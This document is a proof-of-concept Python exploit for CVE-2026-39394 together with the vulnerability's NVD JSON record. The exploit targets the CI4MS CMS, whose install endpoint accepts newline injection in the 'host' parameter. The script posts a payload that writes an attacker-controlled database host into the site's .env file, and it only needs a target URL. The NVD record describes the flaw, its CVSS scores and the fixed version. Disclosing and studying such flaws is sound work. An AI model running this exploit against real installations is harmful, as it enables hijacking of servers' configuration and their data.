CVE-2026-39394

import requests def exploit_cve_2026_39394(target_url): """ PoC for CVE-2026-39394: CI4MS Configuration Injection """ # The vulnerable endpoint is typically /install # The 'host' parameter is vulnerable to newline injection install_url = f"{target_url}/install" # Constructing a malicious payload containing a newline character # This will inject a new configuration directive into the .env file # Example: setting a custom database or malicious auto-load path malicious_host_param = "evil.com\nDATABASE_HOST=attacker-controlled-ip" payload = { "host": malicious_host_param, # Other parameters might be required depending on the form, but 'host' is the vector # "username": "admin", # Example placeholder # "password": "password" # Example placeholder } try: response = requests.post(install_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {install_url}") print(f"[+] Payload injected: {malicious_host_param}") print("[+] Check the .env file to verify injection.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with the actual target exploit_cve_2026_39394(target)

{"cve": {"id": "CVE-2026-39394", "sourceIdentifier": "[email protected]", "published": "2026-04-08T15:16:14.360", "lastModified": "2026-04-16T00:00:36.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment). This vulnerability is fixed in 0.31.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.4.0", "matchCriteriaId": "392D5209-C574-4DEA-8529-BBD5860A35F0"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}